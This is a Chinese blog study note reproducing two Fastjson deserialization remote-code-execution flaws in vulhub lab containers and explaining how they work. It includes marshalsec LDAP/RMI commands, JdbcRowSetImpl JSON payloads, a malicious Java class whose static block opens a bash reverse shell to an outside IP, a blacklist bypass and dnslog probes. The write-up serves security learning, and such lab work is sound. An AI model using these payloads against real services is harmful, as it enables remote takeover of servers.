【Web】vulhub Fastjson反序列化漏洞复现学习笔记

目录

1.2.24 RCE CVE-2017-18349

复现流程

原理分析

1.2.47 RCE CNVD-2019-22238

复现流程

原理分析

漏洞探测


1.2.24 RCE CVE-2017-18349

复现流程

vulhub启动靶场

用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第1张图片
用python启动HTTP服务,存放恶意字节码(LinuxTouch.class)
【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第2张图片

 LinuxTouch.java

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

效果是在靶机临时目录下创建一个success文件

payload:

【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第3张图片

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://124.222.136.33:9473/suibian",
        "autoCommit":true
    }
}

发现python启动的http服务接收到字节码请求

再看靶机容器的/tmp下,成功创建success文件

【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第4张图片

原理分析

1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生

1.2.47 RCE CNVD-2019-22238

复现流程

vulhub启动靶场

 用marshalsec启动LDAP/RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473

 用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)

【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第5张图片

 LinuxRevers.java

public class LinuxRevers {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

效果是反弹shell给1337端口

监听1337端口

payload:

【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第6张图片

{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
}

 发现marshalsec转发请求,python启动的http服务接收到字节码请求

 

1337端口成功反弹shell

【Web】vulhub Fastjson反序列化漏洞复现学习笔记_第7张图片

原理分析

 autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类

接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。

接着继续尝试在TypeUtils.mappings中查找缓存的class

我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击

漏洞探测

1、找到发送JSON序列化数据的接口
2、判断是否使用fastjon
1)非法格式报错
{"x":"
2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address" , "val":"xxx.dnslog.cn"}}

你可能感兴趣的:(java,java反序列化,fastjson,marshalsec,web,ctf,vulhub)